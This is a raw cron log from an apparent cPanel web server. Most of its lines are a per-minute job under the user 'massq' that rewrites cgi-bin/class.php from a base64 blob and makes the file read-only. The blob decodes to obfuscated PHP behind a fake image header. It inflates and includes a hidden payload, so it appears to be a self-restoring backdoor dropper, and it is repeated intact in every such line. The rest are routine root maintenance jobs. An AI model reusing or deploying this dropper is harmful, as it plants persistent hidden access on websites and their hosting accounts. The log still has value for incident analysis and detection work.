Nov 10 05:03:01 server CROND[5640]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:04:01 server CROND[6342]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:05:01 server CROND[7198]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 05:05:01 server CROND[7201]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 10 05:05:01 server CROND[7200]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 05:05:01 server CROND[7199]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 05:05:01 server CROND[7203]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:06:01 server CROND[8093]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:07:01 server CROND[9074]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:08:01 server CROND[9979]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:09:01 server CROND[10791]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:09:01 server CROND[10792]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 05:10:01 server CROND[11654]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 05:10:01 server CROND[11656]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:10:01 server CROND[11657]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 05:10:01 server CROND[11655]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 05:11:01 server CROND[12530]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:12:01 server CROND[13341]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:12:01 server CROND[13342]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 05:13:01 server CROND[14164]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:14:01 server CROND[15124]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:15:01 server CROND[15940]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 05:15:01 server CROND[15941]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:15:01 server CROND[15942]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
